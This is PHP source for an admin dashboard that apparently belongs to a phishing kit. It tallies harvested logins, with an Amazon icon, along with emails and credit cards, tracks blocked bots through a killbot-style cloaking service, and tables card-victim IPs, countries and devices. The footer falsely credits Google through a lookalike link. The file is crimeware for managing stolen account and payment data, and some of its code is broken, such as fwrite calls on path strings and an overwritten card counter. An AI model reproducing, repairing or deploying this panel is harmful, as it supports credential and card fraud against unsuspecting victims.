<?php
if (!file_exists('../arahmataAngin/system/stats/log_robot.txt')) {
    fwrite('../arahmataAngin/system/stats/log_robot.txt', "");
}
if (!file_exists('../arahmataAngin/system/stats/log_visit.txt')) {
    fwrite('../arahmataAngin/system/stats/log_visit.txt', "");
}
if (!file_exists('../arahmataAngin/system/stats/log_account.txt')) {
    fwrite('../arahmataAngin/system/stats/log_account.txt', "");
}
if (!file_exists('../arahmataAngin/system/stats/log_email.txt')) {
    fwrite('../arahmataAngin/system/stats/log_email.txt', "");
}
if (!file_exists('../arahmataAngin/system/stats/log_cc.txt')) {
    fwrite('../arahmataAngin/system/stats/log_cc.txt', "");
}
if (!file_exists('../arahmataAngin/system/stats/log_bin.txt')) {
    fwrite('../arahmataAngin/system/stats/log_bin.txt', "");
}

date_default_timezone_set("Asia/Jakarta");

    $config = __DIR__ . "../../arahmataAngin/system/private/setting.json";
    // echo '<div style="color: #fff;">' . $config . '</div>';

  $fread = file_get_contents($config);
  $parseconfig = json_decode($fread);

function count_c($filename) {
    $file = fopen($filename, "r");
    if(filesize($filename) > 0) {
        $jumlahin = fread($file, filesize($filename));
        $jumlahin = substr_count($jumlahin, "\n");
        return $jumlahin;
    }
    fclose($file);
}
$totalbot = count_c("../arahmataAngin/system/stats/log_robot.txt");
$totalvisitor = count_c("../arahmataAngin/system/stats/log_visit.txt");
$totalakun = count_c("../arahmataAngin/system/stats/log_account.txt");
$totalemail = count_c("../arahmataAngin/system/stats/log_email.txt");
$totalcc = count_c("../arahmataAngin/system/stats/log_cc.txt");
$totalcc = count_c("../arahmataAngin/system/stats/log_bin.txt");

?>
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="4" > 
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
	<title>PANEL ADMIN</title>
	<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0, shrink-to-fit=no' name='viewport' />
	<link rel="icon" sizes="196x196" >
	<link rel="stylesheet" href="assets/css/bootstrap.min.css">
	<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i">
	<link rel="stylesheet" href="assets/css/ready.css">
	<link rel="stylesheet" href="assets/css/demo.css">
</head>
<body>
	<div class="wrapper">
		<div class="main-header">
			<div class="logo-header">
				<a href="index.php" class="logo">
				PANEL ADMIN
				</a>
				<button class="navbar-toggler sidenav-toggler ml-auto" type="button" data-toggle="collapse" data-target="collapse" aria-controls="sidebar" aria-expanded="false" aria-label="Toggle navigation">
					<span class="navbar-toggler-icon"></span>
				</button>
				<button class="topbar-toggler more"><i class="la la-ellipsis-v"></i></button>
			</div>
			<nav class="navbar navbar-header navbar-expand-lg">
				<div class="container-fluid">
					<ul class="navbar-nav topbar-nav ml-md-auto align-items-center">
						<li class="nav-item dropdown hidden-caret">
							<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
							</a>
							<div class="dropdown-menu" aria-labelledby="navbarDropdown">
							</div>
						</li>
						</ul>
					</div>
				</nav>
			</div>
			<div class="sidebar">
				<div class="scrollbar-inner sidebar-wrapper">
					<div class="user">
						<div class="photo">
							<img src="https://killbot.org/files/images/favicon.png">
						</div>
						<div class="info">
							<a class="" data-toggle="collapse" href="#collapseExample" aria-expanded="true">
								<span>
									<?php echo $idcard;?>
									<span class="user-level">ADMIN</span>
								</span>
							</a>
							<div class="clearfix"></div>
						</div>
					</div>
					<ul class="nav">
						<li class="nav-item active">
							<a href="index.php">
								<i class="la la-dashboard"></i>
								<p>Dashboard</p>
							</a>
						</li>
						<li class="nav-item active">
							<a href="reset.php">
							    <i class="la la-refresh"></i>
								<p>Reset</p>
							</a>
						</li>
					</ul>
				</div>
			</div>
			<div class="main-panel">
				<div class="content">
					<div class="container-fluid">
						<h4 class="page-title"></h4>
						<div class="row">
							<div class="col-md-3">
								<div class="card card-stats card-primary">
									<div class="card-body ">
										<div class="row">
											<div class="col-5">
												<div class="icon-big text-center">
													<i class="la la-users"></i>
												</div>
											</div>
											<div class="col-7 d-flex align-items-center">
												<div class="numbers">
													<p class="card-category">Visitor</p>
													<h4 class="card-title"><?php echo $totalvisitor;?></h4>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
							<div class="col-md-3">
								<div class="card card-stats card-info">
									<div class="card-body ">
										<div class="row">
											<div class="col-5">
												<div class="icon-big text-center">
													<i class="la la-amazon"></i>
												</div>
											</div>
											<div class="col-7 d-flex align-items-center">
												<div class="numbers">
													<p class="card-category">Login</p>
													<h4 class="card-title"><?php echo $totalakun;?></h4>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
							<div class="col-md-3">
								<div class="card card-stats card-primary">
									<div class="card-body">
										<div class="row">
											<div class="col-5">
												<div class="icon-big text-center">
													<i class="la la-envelope"></i>
												</div>
											</div>
											<div class="col-7 d-flex align-items-center">
												<div class="numbers">
													<p class="card-category">Email</p>
													<h4 class="card-title"><?php echo $totalemail;?></h4>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
							<div class="col-md-3">
								<div class="card card-stats card-info">
									<div class="card-body">
										<div class="row">
											<div class="col-5">
												<div class="icon-big text-center">
													<i class="la la-credit-card"></i>
												</div>
											</div>
											<div class="col-7 d-flex align-items-center">
												<div class="numbers">
													<p class="card-category">Credit Card</p>
													<h4 class="card-title"><?php echo $totalcc;?></h4>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
							<div class="col-md-3">
								<div class="card card-stats card-danger">
									<div class="card-body ">
										<div class="row">
											<div class="col-5">
												<div class="icon-big text-center">
													<i class="la la-user-secret"></i>
												</div>
											</div>
											<div class="col-7 d-flex align-items-center">
												<div class="numbers">
													<p class="card-category">Bots</p>
													<h4 class="card-title"><?php echo $totalbot;?></h4>
												</div>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
						
         <style type=>
          .scroll{
            height: 400px;
            overflow: scroll;

          }
        </style>
							<div class="col-md-12">
								<div class="card">
									<div class="card-header ">
										<h4 class="card-title">Credit Card</h4>
									</div>
									<div class="card-body">
										<div class="scroll">
										<table class="table table-head-bg-info table-striped table-hover">
											<thead>
												<tr>
													<th scope="col">TIME</th>
													<th scope="col">FLAG</th>
													<th scope="col">COUNTRY</th>
													<th scope="col">TYPE</th>
													<th scope="col">DEVICE</th>
													
												</tr>
											</thead>
											<tbody>                   
												 <?php
                                                   if (file_exists("../arahmataAngin/system/stats/log_bin.txt")){
                                                    $bit = file_get_contents("../arahmataAngin/system/stats/log_bin.txt");
                                                    $bit = explode("\n", $bit);
                                                    $con = count($bit);
                                                    foreach ($bit as $freakz) {
                                                    $freakz = explode("|", $freakz);
                                                    $time = $freakz[1];
                                                     $ip = $freakz[2];
                                                    $countryname = $freakz[3];
                                                    $br = $freakz[4];
                                                    $os = $freakz[5];
                                                    if ($ip == "") {
                            
                                                       } else {
                                                       echo "<tr>
                                                     <td>".$time."</td>
                                                     <td>".$ip."</td>
                                                     <td>".$countryname."</td>
                                                     <td>".$br."</td>
                                                     <td>".$os."</td>
                                                     </tr>";
                                                                  }
                                                       } 
                                                        } else {
                                                      echo "<tr><td>Not found</td><td></td><td></td><td></td><td></td></tr>";
                                                         }
                                                 ?>
											</tbody>
										</table>
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
				<footer class="footer">
					<div class="container-fluid">
						<div class="copyright ml-auto">
							 Made with <i class="la la-heart heart text-danger"></i> by<a href="https://gooogle.com"> Google </a>
						</div>				
					</div>
				</footer>
			</div>
		</div>
	</div>
</body>
<script src="assets/js/core/jquery.3.2.1.min.js"></script>
<script src="assets/js/plugin/jquery-ui-1.12.1.custom/jquery-ui.min.js"></script>
<script src="assets/js/core/popper.min.js"></script>
<script src="assets/js/core/bootstrap.min.js"></script>
<script src="assets/js/plugin/chartist/chartist.min.js"></script>
<script src="assets/js/plugin/chartist/plugin/chartist-plugin-tooltip.min.js"></script>
<script src="assets/js/plugin/bootstrap-toggle/bootstrap-toggle.min.js"></script>
<script src="assets/js/plugin/jquery-mapael/jquery.mapael.min.js"></script>
<script src="assets/js/plugin/jquery-mapael/maps/world_countries.min.js"></script>
<script src="assets/js/plugin/chart-circle/circles.min.js"></script>
<script src="assets/js/plugin/jquery-scrollbar/jquery.scrollbar.min.js"></script>
<script src="assets/js/ready.min.js"></script>
<script src="assets/js/demo.js"></script>
</html>